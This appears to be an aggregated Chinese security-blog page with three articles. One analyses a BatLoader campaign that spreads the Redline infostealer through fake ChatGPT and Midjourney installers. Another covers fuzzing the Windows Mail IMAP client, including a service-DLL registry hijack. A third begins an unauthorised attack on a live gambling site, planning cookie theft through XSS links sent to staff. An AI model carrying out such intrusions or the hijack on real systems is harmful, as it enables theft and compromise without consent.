• Midjourney是一項生成式人工智能服務，通過該服務，用戶可以提交文本提示來生成圖像。

這兩種AI服務都極受歡迎，但缺少第一方獨立應用程序（即用戶通過其Web界面與ChatGPT進行交互，而Midjourney使用Discord）。

威脅分子利用了這一空檔，企圖將尋找AI應用程序的網民吸引到推廣宣傳虛假應用程序的冒充網頁。

在最新的活動中，BatLoader使用MSIX Windows應用程序安裝程序文件用Redline信息竊取器感染設備。這不是BatLoader第一次針對搜索AI工具的用戶了。在2023年2月，TRU發現了一系列新註冊的BatLoader域名，其中包括chatgpt-t[.]com。

概述ChatGPT冒充廣告引起的Redline感染初始下載在這個例子中，感染可以追溯到谷歌搜索“chatbpt”，這將人引到託管在hxxps://pcmartusa[.]com/gpt/上的ChatGPT冒充下載頁面：

1.png

圖1. ChatGPT冒充頁面。

下載鏈接指向advert-job[.]ru，然後指向代表最終攻擊載荷的job-lionserver[.]site。 job-lionserver[.]site之前被稱為是BatLoader攻擊載荷網站。

2.png

圖2. 追根溯源後發現，HTTP事務指向job-lionserver[.]site上的最終下載。

Chat-GPT-x64.msixChat-GPT-x64.msix（md5hash：86a9728fd66d70f0ce8ef945726c2b77）是一種用於安裝應用程序的Windows應用程序包格式。

3.png

圖3. Chat-GPT-x64.msix文件屬性。

Windows要求組成MSIX應用程序的所有文件都使用一個通用簽名進行簽名。該包由ASHANA GLOBAL LTD數字簽名：

4.png

圖4. Chat-GPT-x64.msix簽名細節。

仔細檢查該包的內容，我們可以看到安裝過程中使用的各項資產：

5.png

圖5. MSIX包中的應用程序資產。

查看AppXManifest文件，我們可以看到該包由一個說俄語的人使用帶有專業許可證的高級安裝程序（Advanced Installer）版本20.2創建而成

6.png

圖6. MSIX文件屬性。

7.png

圖7. MSIX文件屬性和元數據。

在高級安裝程序中打開包，我們可以看到該應用程序將啟動一個可執行文件（ChatGPT.exe）和一個PowerShell腳本（Chat.ps1）。

8.png

圖8. Chat-GPT-x64.msix起始點和權限。

9.png

圖9. 安裝過程中執行的Chat-GPT-x64.msix PowerShell指令

安裝程序還將使用ChatGPT徽標，針對2018年10月更新-1809和2022年10月更新- 22H2之間的Windows桌面版本。

點擊安裝程序文件將啟動Windows應用程序安裝程序嚮導：

10.png

圖10. Windows 10應用程序安裝程序嚮導。該應用程序由ASHANA GLOBAL LTD.簽名。

文件簽名對於MSIX包而言至關重要，安裝程序不允許你在沒有可信證書籤名的情況下執行下一步（Windows 10要求所有應用程序都使用有效的代碼簽名證書進行簽名）。

11.png

圖11. 若沒有有效的簽名，Chat-GPT-x64.msix安裝將無法進行下去。

在安裝過程中，Chat.ps1和ChatGPT.exe在aistubx64.exe的上下文中執行。

12.png

圖12. Process Hacker輸出顯示安裝過程中PowerShell的執行行為。

Chat.ps1是一個基本的PowerShell下載載體。在這種情況下，它下載Redline信息竊取器，並將其從adv-pardorudy[.]ru下載到內存中。腳本還執行對C2提出的兩個請求：

• Start.php：記錄感染的開始時間以及受害者的IP地址。

• Install.php：記錄攻擊載荷在adv-pardorudy[.]ru上的成功安裝、安裝時間以及受害者的IP地址。

攻擊者執行這些操作是為了便於跟踪統計信息，從而使他們能夠輕鬆識別成功感染的受害者，並圍繞特定的活動或主題跟踪度量指標。

13.png

圖13. Chat.ps1使用三個web請求來表示感染開始、攻擊載荷檢索和Redline的成功安裝。

這個Redline樣本（md5hash 7716F2344BCEBD4B040077FC00FDB543）經配置後，使用Bot ID“ChatGPT_Mid”連接到IP 185.161.248[.]81，這個Bot ID暗指這起活動中使用的兩個誘餌（ChatGPT和MidJourney）。

14.png

圖14. Redline文件屬性。

仔細檢查ChatGPT.exe，TRU發現該可執行文件使用Microsoft Edge WebView2，在安裝後的彈出窗口中加載https://chat.openai.com/。

15.png

圖15. 進程樹顯示ChatGPT.exe在精簡的瀏覽器中加載實際的ChatGPT網頁。

其主要功能是轉移用戶的注意力，確保他們安裝了一個有效的應用程序。結果是彈出的窗口含有嵌入在基本瀏覽器窗口中的實際ChatGPT網頁。這個可執行文件的其他功能目前不得而知。

16.png

圖16. 安裝後的Chatgpt.exe窗口。 https://chat.openai.com/使用Microsoft Edge WebView2來加以顯示。

Midjourney冒充廣告引起的Redline感染在2023年5月的另一個案例中，TRU觀察到類似的感染陰謀，企圖推廣宣傳Midjourney冒充頁面。這導致用戶下載Midjourney-x64.msix，這是由ASHANA GLOBAL LTD.簽名的Windows應用程序包。

17.png

圖17. Midjourney-x64.msix安裝。

在這個案例中，安裝程序執行一個經過混淆處理的PowerShell腳本（Chat-Ready.ps1），該腳本最終與圖13中所示的腳本相同，只是使用了不同的C2域。

18.png

圖18. Midjourney-x64.msix PowerShell執行。

19.png

圖19. 安裝後的midjourney.exe。在精簡版瀏覽器窗口中加載https://www.midjourney.com/。

我們做了什麼？ • TRU針對全球客戶的環境進行了積極主動的威脅搜索，以搜索已識別的應用程序包。

• 我們部署了新的檢測內容來識別MSIX應用程序包濫用活動。

• 我們的24/7全天候SOC網絡分析師團隊提醒受影響的客戶，並提供了補救指導和支持。

你能從中學到什麼？ • 生成式AI技術和聊天機器人在2023年大受歡迎。遺憾的是，當系統管理員想方設法控制對這些平台的訪問時，用戶可能會另闢蹊徑以訪問它們。

• 威脅分子一直熱衷於利用這些大受歡迎的工具，承諾無限制地訪問。

• 我們的遙測數據顯示，濫用谷歌搜索廣告的現像在2022年第四季度和2023年初達到了頂峰。成功率已有所下降，這表明谷歌已經對濫用其廣告服務的行為進行了打壓。然而，最近這起活動表明，惡意廣告仍然可以避開審核員的視線，向受害者投遞惡意軟件。

該活動與之前發現的BatLoader活動有幾個相似之處：1. 使用谷歌搜索廣告冒充主要的品牌和服務。

2. 使用高級安裝程序創建安裝包。

3. 攻擊載荷站點job-lionserver[.]site以前歸因於BatLoader。

4. 竊取信息的惡意軟件攻擊載荷。

我們威脅響應小組（TRU）團隊的建議：• 提高對偽裝成合法應用程序的惡意軟件的意識，並在貴公司的網絡釣魚和安全意識培訓（PSAT）計劃中加入相關示例，以教育員工如何保護自己免受類似的網絡威脅。

○切記，一項有效的PSAT計劃強調通過提高風險意識來確保網絡彈性，而不是試圖把每個人都變成安全專家。

• 保護端點免受惡意軟件侵害。

○確保反病毒特徵是最新的。

○使用下一代反病毒軟件（NGAV）或端點檢測和響應（EDR）產品來檢測和遏制威脅。

• Windows Defender應用程序控制提供了管理打包應用程序（MSIX）的選項。詳見https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/manage-packaged-apps-with-windows-defender-application-control。

HireHackking

網絡協議是一組規則，定義了用於解釋計算機發送的原始數據的標準格式和過程。網絡協議就像計算機的通用語言。網絡中的計算機可能使用截然不同的軟件和硬件；協議的作用就是使其可以相互通信。

許多網絡協議服務於不同的目的，其中一些可能很複雜。由於其固有的複雜性，網絡應用程序中的安全漏洞是不可避免的。與其他攻擊媒介相比，網絡應用程序中的安全漏洞通常會產生更顯著的安全影響，因為攻擊者可能能夠利用這些漏洞在易受攻擊的計算機上獲得遠程代碼執行狀態，而無需任何用戶交互。我們已經在現實生活中看到過此類攻擊，例如臭名昭著的WannaCry勒索軟件，它利用簡單消息塊(SMB)協議（稱為EternalBlue）通過加密數據和要求以比特幣加密貨幣支付贖金來攻擊MicrosoftWindows計算機。迄今為止，據估計，這種惡意軟件已經影響了150個國家的20多萬台電腦。

強化網絡應用程序是一項關鍵任務，可以最大限度地減少WannaCry等攻擊媒介。研究人員致力於確保使用網絡協議模糊測試等工具正確保護許多最流行的網絡應用程序。這種漏洞發現技術將格式錯誤的數據包發送到正在測試的應用程序，以發現網絡協議實現中的漏洞。發現並報告這些漏洞，特別是在常用應用程序中，有助於降低每個人的網絡風險。

Fortinet的研究人員與其他威脅研究團體一起幫助實現這一目標。在本博客中，我們記錄了審核和模糊測試MicrosoftInternet消息訪問協議(IMAP)客戶端協議的過程。雖然我們沒有發現任何新漏洞，但詳細的指南可以幫助其他人在他們的威脅發現和分析工具庫中添加或改進模糊技術策略。

為什麼選擇IMAP客戶端協議？網絡應用程序使用客戶端和服務器架構來交換數據。然而，即使它們共享相同的網絡協議規範，客戶端和服務器之間的數據解釋也是不同的。數據解釋通常由在各個組件中實現的解析器按照單獨的規範執行。因此，研究人員必須同時檢查客戶端和服務器，以確保解析器正確實現。

我們的經驗表明，在審計安全實現時，服務器比客戶端更受研究人員的關注。但是，不太安全的客戶端也可能包含可以被利用的高價值目標。但是由於我們沒有看到供應商公開報告的許多IMAP客戶端安全問題，我們決定研究IMAP客戶端實現，同時獲得一些關於開源模糊器WhatTheFuzz(WTF)的實踐經驗。 WTF是一種分佈式、代碼覆蓋引導、可定制、跨平台的基於快照的模糊器，旨在攻擊運行在MicrosoftWindows上的用戶或內核模式目標。

本文中沒有漏洞披露，因為我們沒有在MicrosoftIMAP客戶端中發現任何安全問題。但我們確實分享了一些兔子洞、我們遇到的限制以及調試WTF模糊器模塊的提示和技巧。我們還將介紹一個特別有趣的IMAP響應輸入的逆向過程，該輸入最初似乎很脆弱，但在深入研究代碼後發現是良性的。

了解基本IMAP協議IMAP客戶端支持用於不同IMAP操作的各種命令。客戶端命令開始一個操作並期望來自服務器的響應。每個客戶端命令都以稱為“標記”的標識符作為前綴。對於客戶端發送的每個命令，這個“標籤”應該是唯一的。通常，客戶端命令如下所示：

1.png

重要的是，客戶端必須嚴格按照規範遵循語法。發送缺少或無關的空格或參數的命令是一個語法錯誤。

IMAP連接包括建立客戶機/服務器網絡連接、來自服務器的初始問候以及客戶機/服務器交互。這些客戶機/服務器交互包括客戶機命令、服務器數據和服務器完成結果響應。

客戶端和服務器傳輸的所有交互都是行的形式，即以回車和換行結尾的字符串。

客戶端需要做的第一件事是在特定端口上與遠程服務器建立連接。在這種情況下，我們使用openssl從終端連接到自定義IMAP服務器。

2.png

注意到服務器狀態響應以“*”為前綴，稱為未標記響應，表示服務器問候，或服務器狀態不表示命令完成（例如，即將發生的系統關閉警報）。

客戶端通常發送的下一個命令是CAPABILITY。 CAPABILITY命令允許客戶端獲取服務器支持的功能列表。未在未標記響應中列出的任何功能都將被標記響應中指示的服務器視為BAD命令。

3.png

狀態響應可以加標籤或不加標籤。標記狀態響應指示客戶端命令的完成結果（OK、NO或BAD狀態），並具有與命令匹配的前綴標記。

客戶端必須先向IMAP服務器進行身份驗證，然後才能導航郵箱。有一些IMAP服務器實現允許匿名訪問某些郵箱。像下面的例子一樣，我們的自定義IMAP服務器允許匿名訪問。但是，值得注意的是，經過身份驗證的客戶端的功能列表通常與未經身份驗證的客戶端不同。登錄的客戶端通常包含更多來自IMAP服務器的未鎖定功能。

4.png

現在客戶端已登錄，它可以列出郵箱中存在的文件夾

5.png

這樣，我們就可以看到郵箱中存在的文件夾層次結構。文件夾具有名稱屬性，在括號中表示。一些屬性對於遍歷文件夾層次結構很有用，例如HasNoChildren和HasChilden。 HasNoChildren屬性的存在表明郵箱沒有當前經過身份驗證的客戶端可訪問的後來郵箱。

在知道郵箱的文件夾結構後，客戶端可以使用SELECT命令在該文件夾上打開一個會話，以便訪問郵箱中的郵件。

6.png

當返回選中狀態時，服務器必須先將上述未標記的數據發送給客戶端，然後再向客戶端返回OK。如果選擇狀態建立成功，則稱客戶端處於選擇狀態，可以從郵箱中搜索和下載消息。

7.png

SEARCH命令在郵箱中搜索與給定搜索條件匹配的郵件。搜索條件由一個或多個搜索關鍵字組成。它可以支持更全面的搜索條件，例如查找具有指定字段名稱的標題並且在標題的文本中包含指定字符串的消息。上面的示例顯示了最簡單形式的SEARCH命令，它將搜索服務器中的所有可用消息。未標記的響應表明自定義IMAP服務器中有一條消息可用。

一些客戶端提供電子郵件消息的預覽。這可以通過使用FETCH命令僅下載消息標頭來完成。而UIDFETCH命令將下載整個電子郵件消息並將其本地存儲在客戶端應用程序中。

8.png

IMAP客戶端—服務器的狀態和流程圖

使用IMAP客戶端模糊器的可能性在現代模糊控制中，需要有一個線束與主模糊控製程序一起驅動模糊控制操作。雖然這不是強制性的WTF模糊器，一個專用的模糊器模塊是必需的。如果你有AFL/WinAFL的經驗，很多時間將花費在編寫一個有效的harness程序上，但是你將花費大部分時間開發和排除WTF模糊器模塊的故障。在內部，WTF模糊器充當模擬器，以編程方式模擬由模糊器模塊驅動的內存轉儲中的代碼。基本上，模糊器模塊的核心由函數斷點和斷點處理程序組成。這些斷點處理程序由用於不同目的的邏輯組成，例如攔截和修改目標使用的輸入數據，以及復制功能(如I/O操作、註冊表操作和線程調度)。該項目的存儲庫為模糊器開發過程提供了全面的指導方針。

首先，必須確定要模糊化的目標組件，並轉儲一個虛擬映像的快照，以供模糊化模塊使用。根據來自項目存儲庫的文檔，該快照映像通常取自感興趣的目標模塊的入口點，其中解析器例程使用輸入數據。在MicrosoftIMAP客戶端中，InternetMail.dll是實現IMAP和POP3客戶端協議的目標組件。這個DLL模塊由Windows服務宿主進程託管，也被稱為svchost.exe。

WindowsMail是與該模塊交互的前端用戶界面(UI)，用戶可以通過該界面設置IMAP帳戶，並從郵件服務器下載郵件消息。在編寫我們的IMAP客戶端模糊器模塊時，我們遇到了許多障礙，幸運的是，其中一些在項目的問題跟踪器中有部分記錄。儘管大多數障礙都是針對於你所致力於的任何目標，我們認為記錄這些挑戰和我們的工作區可能會有所幫助。

為IMAP客戶端模糊器模塊開發做準備為WTF模糊器編寫一個模糊器模塊並不是一件容易的事。這是因為我們試圖從內存轉儲中模擬代碼。在軟件模擬世界中，你不能期望模擬代碼的行為與在本機設備上執行的代碼相同。因此，要使模擬按預期工作，需要解決許多障礙。因此，在開始之前確定適當的工具來跟踪和調試模糊器模塊是至關重要的。

WTF模糊器支持兩種類型的跟踪文件，覆蓋跟踪日誌和Tenet跟踪文件。基本上，覆蓋跟踪日誌包含模擬器正在執行的每條指令的跟踪。它有助於診斷大多數模糊器模塊問題。 Tenet跟踪文件包含每條執行的指令以及每條指令操作的內存/堆棧數據。 Tenet插件只能使用一個Tenet跟踪文件。 Tenet是一款出色的跟踪記錄和回放IDAPro插件，可用於離線調試。 WTF模糊器生成的Tenet跟踪文件可以通過IDAPro回放。這樣，它允許用戶探索已執行的代碼，甚至分析讀取/寫入內存/堆棧的數據，從而使調試和故障排除模糊器模塊變得更加容易。

但是，需要注意的是，如果記錄的跟踪文件太大，插件需要很長時間來處理它。例如，一個幾千兆字節的跟踪文件很容易占據大部分主機內存，這可能無法通過IDAPro重播跟踪。作為一種解決方法，我們向WTF模糊應答器引入了一個“——trace-start -address”命令行參數，以便模糊應答器只有在到達指定地址時才開始跟踪。這個新引入的命令行參數顯著減少了跟踪文件的大小。然而，這種過濾機制的結果在某些情況下並不是很成功。我們有時仍然會得到一個大的跟踪文件，因為所關心的函數中的起始地址不是唯一的。例如，函數可能會在多個不確定的位置觸發，導致跟踪器意外觸發，這就違背了我們的目標。

99.png

經過測試，我們發現WinDbg Preview中的time - trip - debugging (TTD)特性也可以用於離線調試。 WinDbg預覽將附加一個正在運行的進程，並在目標進程中註入一個TTD專有的跟踪DLL。注入的跟踪程序DLL負責捕獲目標進程的運行時執行，並將執行的代碼保存在存儲在物理磁盤中的跟踪文件中。為了模擬這個過程，我們創建了一個簡單的IMAP服務器，它讀取以JSON格式定義的IMAP數據包，並在IMAP連接建立時將數據包發送給連接的客戶端Windows Mail。同時，WinDbg Preview被附加到Windows主機進程，用於服務記錄代碼執行情況。這種方法的缺點是每次只能手動生成一個執行跟踪。但是，TTD仍然是一個有用的特性，可以補充離線調試體驗。

10.png

為目標可執行文件生成代碼執行跟踪的替代方法

另一個用例通過比較TTD和Tenet生成的跟踪信息，利用差異調試技術對模糊器模塊產生的更多問題進行深度故障排除。儘管如此，Tenet仍然是在模糊器模塊開發過程中產生跟踪文件來調試更複雜問題的首選。

接下來我們將分享一些技巧，這些技巧可以直接從覆蓋跟踪日誌中而不是使用Tenet跟踪文件來確定一些更明顯的問題。這有望為你節省模糊器模塊開發的時間。

開發IMAP客戶端模糊器模塊WTF模糊器模塊在WTF框架之上運行。每個模糊器模塊必須實現WTF框架註冊的回調函數，然後由WTF可執行文件觸發。

IMAP包括創建、刪除和重命名郵箱、檢查新消息、永久刪除消息、設置和清除標誌以及選擇性獲取消息屬性和文本的操作。因此，為IMAP協議實施一個全面的突變策略可能會耗時。在本例中，我們只關注Windows Mail用於與IMAP服務器交互的特定IMAP命令。首先，我們將WinDbg預覽調試器附加到目標進程，以生成Windows Mail與真實的IMAP服務器(Gmail)交互的執行跟踪，以收集IMAP事務中的典型命令。清單1顯示了調試器的輸出，包括由Windows Mail客戶機發送到Gmail服務器的IMAP命令。

11.1.png

11.2.png

清單1：WindowsMail客戶端發送的調試器輸出IMAP命令

這樣我們的變異方法側重於NAMESPACE、LIST、SELECT、SEARCH和FETCH命令的IMAP響應。我們決定跳過對UIDFETCH命令的模糊測試，因為此響應處理程序涉及對本地文件系統中的消息數據庫的讀/寫。不幸的是，即使WTF默認提供了I/O子系統模擬框架，對於我們的案例來說，這個操作也無法輕鬆實現。我們認為這是一種合理的權衡，因為大多數重要的解析操作(如消息頭解析器)都在FETCH命令中進行。

IMAP數據包由此處規範定義的一系列結構化文本消息組成。因此，我們的IMAP數據包變異策略也需要具有結構感知能力。受著名的結構感知突變庫libprotobuf-mutator的啟發，我們使用JSON文件格式來存儲每個突變的IMAP響應。這個JSON文件將作為模糊器模塊的輸入測試用例。根據規範，JSON對象的關鍵組件是ResponseParams，它由IMAP客戶端將解釋的核心數據組成。儘管如此，我們的突變器將專注於從ResponseParams、ResponseStatus和ResponseType中改變數據。

12.1.png

12.2.png

12.3.png

12.4.png

12.5.png

清單2：示例IMAP響應輸入測試用例

本文主要講的是理論上的可能性，下一篇文章，我們會詳細介紹實踐中遇到的一些挑戰。

HireHackking

上一篇文章主要講的是理論上的可能性，本文，我們會詳細介紹實踐中遇到的一些挑戰。

挑戰1：可擴展存儲引擎緩存清理WindowsMail利用統一的存儲數據庫將電子郵件數據（例如電子郵件地址和消息）保存在本地文件系統中。此數據庫位於路徑%LOCALAPPDATA%\Comms\UnistoreDB\store.vol。可擴展存儲引擎(ESENT)使用專有的二進制格式為其數據結構構建數據庫。這種二進制格式可以使用像ESEDatabaseView這樣的工具來查看。使用ESENT的好處是它有一個緩存機制，可以最大限度地高性能訪問數據。這種緩存機制是我們遇到的第一個障礙。

在後台，緩存緩衝區根據系統服務啟動UserDataService時初始化的ESENT參數JET_paramVerPageSize分配一個大小。默認緩存大小為0x2000，必須與頁面大小粒度對齊。但是，這在WTF模糊器模塊的上下文中成為一個問題。

問題是，當緩存緩衝區已滿時，ESENT將工作項排隊以清除緩存緩衝區。工作項是程序可以提交給線程池的子例程。工作項是異步執行的，並且調度程序系統會根據系統資源的可用性發出警報。遺憾的是，這是一個複雜的機制，WTF模糊器無法模擬。因此，fuzzer模塊將在上下文切換時退出，當它碰到線程API（例如，KERNELBASE!QueueUserWorkItem）時退出。讓模糊器超越上下文切換是對CPU時間的浪費。這就是為什麼你應該在每個WTF模糊器模塊中找到類似的斷點處理程序的原因：

133.png

在上下文切換期間停止模糊器模塊的斷點處理程序

當發生意外的上下文切換時，開發者必須了解它發生的原因並實施解決方法以達到所需的代碼路徑。這可以通過分析WTF模糊器生成並由0vercl0k的Symbolizer後處理的覆蓋跟踪日誌來完成。下圖顯示了在上下文切換處停止的覆蓋跟踪日誌示例：

14.png

通過Symbolizer生成的覆蓋跟踪日誌示例

這裡沒有復雜的技巧來分析覆蓋跟踪日誌。我們只需進行回溯以定位模塊或函數轉換（即modA!funcnameX-modB!funcnameY）以發現上下文切換的原因。通常，我們將模塊文件加載到IDAPro中以統計研究和理解底層代碼。有時，執行靜態代碼分析可能還不夠，尤其是當代碼包含IDAPro無法自動解析的虛函數調用時。相反，你可以使用TTD來解析虛函數調用或探索執行的代碼。

15.png

覆蓋跟踪日誌揭示了上下文切換的原因

上圖顯示ESENT!CGPTaskManager:ErrTMPost+0xd4調用KERNELBASE!QueueUserWorkItem，本質上是在線程池隊列中放置一個可執行線程，而ESENT!CGPTaskManager:ErrTMPost是從ESENT!VER:VERSignalCleanup派生的。在深入分析該函數後，在TTD的幫助下，我們確定了ESENT!VER:VERSignalCleanup的目的是將當前緩衝區緩存大小與通過JET_paramVerPageSize指定的默認緩存大小進行比較。它調用QueueUserWorkItem來執行緩存清理線程，ESENT！ VER:VERIRCECleanProc，如果當前緩存緩衝區被填滿，最終會導致上下文切換。因此，我們面臨的挑戰是找到一種方法來防止觸發清理程序。

我們首先想到的是，最簡單的解決方法是將默認緩存大小從0x2000增加到其最大大小0x10000。從技術上講，數據庫引擎的配置設置可以根據MSDN文檔使用API JetSetSystemParameter進行調整。但是，我們無法通過使用外部程序來更改駐留在隔離的系統服務進程空間中的設置來實現這一目標。

16.1.png

16.2.png

16.3.png

清單3：顯示系統主機服務集數據庫引擎配置設置的調用堆棧

查看清單3中的調用堆棧，然後我們考慮通過劫持UserDataService並在數據庫引擎配置設置發生之前在ESENT.dll中的特定偏移處調整硬編碼的默認緩存大小來解決此問題。我們決定試一試。

劫持服務DLL很簡單。我們可以定位到目標服務註冊表項，定義如下：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UserDataSvc\Parameters

ServiceDLL=%SystemRoot%\System32\userdataservice.dll

當ServiceDLL條目調整為我們自定義的服務DLL文件時，它將變成：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UserDataSvc\Parameters

ServiceDLL=c:\userdatasvc\UserDataSvcProxy.dll

自定義服務DLL導出兩個強制模型函數，ServiceMain和SvchostPushServiceGlobals。修改上述註冊表項後，系統服務將加載自定義服務DLL，該DLL執行模型ServiceMain函數。模型ServiceMain函數將在ESENT.dll中的特定偏移處修補JET_paramVerPageSize。打補丁後，它會將執行傳遞給UserDataService導出的初始ServiceMain函數，並像往常一樣繼續它的初始例程。

17.1.png

17.2.png

17.3.png

清單4：顯示自定義服務DLL劫持UserDataService的調用堆棧

設置完後，我們針對新的快照映像運行模糊器模塊，並加載了自定義服務DLL，該DLL應將緩存大小調整為0x10000。但不幸的是，它仍然hits=清理過程。因此，我們需要找出另一種解決方法。

我們查看了ESENT!VER:VERSignalCleanup，但意識到該函數不返回調用函數的值，這使我們相信函數例程並不關心這個清理過程是否成功執行。最重要的是，它似乎不跟踪任何可能導致ESENT中意外行為的全局狀態或事件。考慮到這些，我們決定跳過這個清理過程，只需設置一個斷點來模擬這個函數，即在命中斷點時立即返回到調用者，如下圖所示：

18.png

跳過ESENT!VER:VERSignalCleanup以避免上下文切換

這樣，我們的模糊器模塊可以在清理過程之外執行，而無需點擊上下文切換！但是，需要注意的是，這可能會大大增加快照映像內的內存使用量。但這不應該給我們帶來任何潛在的問題，因為一旦完成模糊測試迭代，快照映像就會恢復到其原始狀態。換句話說，懸空緩存緩衝區可以忽略不計。

挑戰2：加載一個卸載的DLL並執行分頁內存如果你熟悉軟件模擬，就會明白讓模擬器的行為像本機計算機一樣是不可能的。同樣的事情也適用於WTF模糊器。當出現這種限制時，我們需要找到解決方法。但根據面臨的限制的複雜性，有些解決辦法可能很簡單，有些解決辦法就像調整快照映像一樣簡單。

我們遇到的下一個問題是，當WTF嘗試從文件系統加載已卸載的DLL文件時會發生上下文切換。同樣，我們通過分析覆蓋跟踪日誌和一些代碼片段確定了問題的根本原因，如下圖所示。從覆蓋跟踪日誌中，我們可以看出CoCreateInstanceAPI是從MCCSEngineShared!Decode2047Header+0xfe調用的。此COMAPI負責加載在類ID中指定的COM對象，在本例中為CLSID_CMultiLanguage。此類ID對應於C:\WINDOWS\SYSTEM32\mlang.dll。

19.png

加載卸載的DLL文件

有了這些信息，我們手動將COM對象DLL注入目標進程，將映像轉儲為新的快照，並對其進行測試。結果，它超越了MCCSEngineShared!Decode2047Header，但我們遇到了另一個問題。

20.png

由內存訪問錯誤導致的另一個上下文切換

查看上圖中的覆蓋跟踪日誌後，我們意識到發生了從用戶模式exsmime!CMimeReader:FindBoundary到內核模式nt!MiUserFault的異常代碼執行轉換。我們的經驗表明，模擬器可能已命中保留的內存地址或換出到頁面文件的內存地址。這是一種常見的Windows內存管理機制，出於性能原因將不經常使用的內存保留在頁面文件中。為了驗證這一點，我們使用WinDbg調試器加載內存轉儲並檢查在exsmime!CMimeReader:FindBoundary+0x4f處指定的代碼，如圖10所示。

21.png

調用虛函數時的內存訪問錯誤

它從虛函數表中調用虛函數，但虛函數的目的地exsmime!CHdrContentType:value是通過TTD快照確定的，如下圖所示：

22.png

使用TTD確定虛函數的目的地址

為了解決這個內存訪問問題，我們運行了lockmem實用程序，它確保指定進程的每個可用內存區域都將保留在內存中，因此它不會被寫入頁面文件，這會在訪問時引發頁面錯誤。為獲得最佳結果，始終建議執行完整的內存轉儲，以避免其他不可預見的內存訪問問題。當你對內核模式組件進行模糊測試時，此技巧特別有用。

挑戰3：註冊表掛鉤Windows註冊表是一個分層數據庫，用於存儲Windows操作系統和應用程序的低級設置。該數據庫將註冊表配置單元的信息保存在文件系統中。也就是說，註冊表操作在一定程度上涉及到I/O操作。由於模擬器都不支持這些操作，因此我們需要復制這些功能。

在撰寫本文時，WTF提供了一個fshook子系統來複製I/O操作，但不提供註冊表掛鉤（此後是reghook）。顯然，我們不能為reghook重用fshook，因為它們是不同的API，但我們可以將fshook中的一些實現調整為reghook。例如，我們可以重用fshook和RegHandleTable_t類中的偽句柄算法。 fshook和reghook之間的關鍵區別在於如何模擬預期內容（(即用於I/O操作的文件內容和用於註冊表操作的註冊表數據）。例如，對於reghook，如果註冊表操作要打開一個新句柄，則調用RegOpenKeyAPI來打開特定註冊表項的句柄。其對應的鉤子處理程序將API調用重定向到本機。換句話說，本機設備將嘗試使用本機API打開註冊表項，如果註冊表項存在，則返回句柄。打開的句柄對本機有效，但對作為內存轉儲的客戶機無效。因此，應該生成一個偽句柄並將其映射到本機句柄。

重申一下，當前的regook實現是不完整的，並且沒有針對其他目標進行全面測試。但是擴展現有的regook以支持其他註冊表API應該相當簡單。

奇特的RFC822.SIZE案例在部署和分發模糊器模塊後，我們開始收集模糊器收集的有趣輸入。從那裡，我們開始生成代碼跟踪，並使用Lighthouse插件將其加載到IDAPro中以進行進一步分析。

我們首先對InternetMail.dll進行逆向工程，以找到操縱變異輸入的代碼，特別是模糊器提供給目標的ResponseParams。此時，FETCH響應中的一個有趣的ResponseParams，RFC822.SIZE，立即引起了我們的注意。經查，RFC822.SIZE是FETCH命令的屬性之一，表示消息的大小。簡單地說，它告訴電子郵件客戶端到達客戶端的整個電子郵件消息的大小，包括電子郵件標題、內容和附件。

有趣的是，從清單5中的代碼片段來看，該值的代碼清理非常簡單，只需確保消息的大小不是4GB（基數為10的4294967295或32位十六進制的0xFFFFFFFF）即可。這樣做時會產生錯誤。

23.png

清單5：獲取RFC822.SIZE並將其保存在數據結構中

在(1)中，如果strtoul無法執行有效轉換，則返回零值。但是，似乎(2)中的代碼清理沒有意義，因為4294967294（32位十六進制中的0xFFFFFFFE）之類的值可能會繞過檢查並造成算術溢出，如果該值將用於某些算術運算代碼中的某處。在深入研究代碼後，我們只發現了一個操縱該值的函數。毫不奇怪，我們在這裡看到了相同的代碼清理。

24.1.png

24.2.png

清單6：HeaderParser:_PostNewMessageCreation操作RFC822.SIZE

在(A)中，從pImapSyncContext中檢索到v1指針，表明未知指針可能與某些保持某些同步狀態的數據結構有關。進一步查看代碼，我們在(B)和(C)中看到兩個算術運算。對於(B)，根據RFC822.SIZE的值進行增量操作，並將增量值的結果保存到v1指針，而RFC822.SIZE值在(C)中聚合。這似乎值得深入研究。

因此，我們準備了一個由多個FETCHResponseParams和偽造的RFC822.SIZE組成的IMAP數據包，然後使用TTD捕獲執行的代碼。

25.1.png

25.2.png

25.3.png

25.4.png

25.5.png

清單7：具有兩個FETCH響應參數的IMAP數據包使用偽造的RFC822.SIZE

26.1.png

26.2.png

26.3.png

清單8：調試器輸出顯示v1指針中RFC822.SIZE的聚合值

清單8中突出顯示的區域清楚地表明聚合值溢出了v1指針中的相鄰字段。但我們不確定被覆蓋的字段是否會帶來任何安全問題。因此，我們需要確定此原始內存的數據結構字段。我們使用TTD.Utility.GetHeapAddress來顯示堆的起始地址以及分配和初始化堆地址的位置。

27.1.png

27.2.png

v1指針的GetHeapAddress輸出和堆分配調用堆棧

根據TTD.Utility.GetHeapAddress的輸出，我們確定v1指針的起始堆地址為0x251a1f58f60，並從SYNCUTIL!SyncStatsHelpers:_LookupAccountSyncStats初始化。在這個函數中，我們意識到v1指針被傳遞給SYNCUTIL!SyncStatsHelpers:_LoadSyncStats，它將各種統計信息加載到v1指針引用的數據結構中。

28.1.png

28.2.png

28.3.png

HireHackking

1、偶然间发现一个菠菜站点，遂测试一番，思路如下：既然是菠菜站，肯定会让用户注册，否则怎么收钱了？注册这种和用户强交互的页面，可能存在的漏洞如下：

  • sql注入：用户输入的账号信息，如果不经过滤直接用来写入或查询数据库，肯定存在sql注入
  • xss：在输入框输入的个人信息，大概率会被展示在用户的页面；同时管理员肯定有权限在后台查看用户的个人信息，这里可能会有存储型xss；就算是反射型或DOM型xss，由于这类站点有客服，可以想办法诱骗客户点击链接，达到偷cookie或其他目的；
  • 平行越权：用户登陆时、登陆后查看某些页面，此时抓包，如果有类似id字段，通过更改id号可能能看到其他用户、甚至管理员的信息
  • CSRF：修改账号信息，比如密码；或则修改邮箱，再通过邮箱修改密码；
  • 支付漏洞：抓包改参数，造成0元支付

2、顺着这个思路，不管三七二之一，先上工具试试注册页面，结果如下：发现2个高危的xss；

3y3gferadee12832.png

 （1）先看第二个：把提示的参数换成检测工具的payload后，页面如下：自己的payload居然被完整的在页面展示，没有任何过滤，高兴死我了；

qjtojfdwmbv12835.png

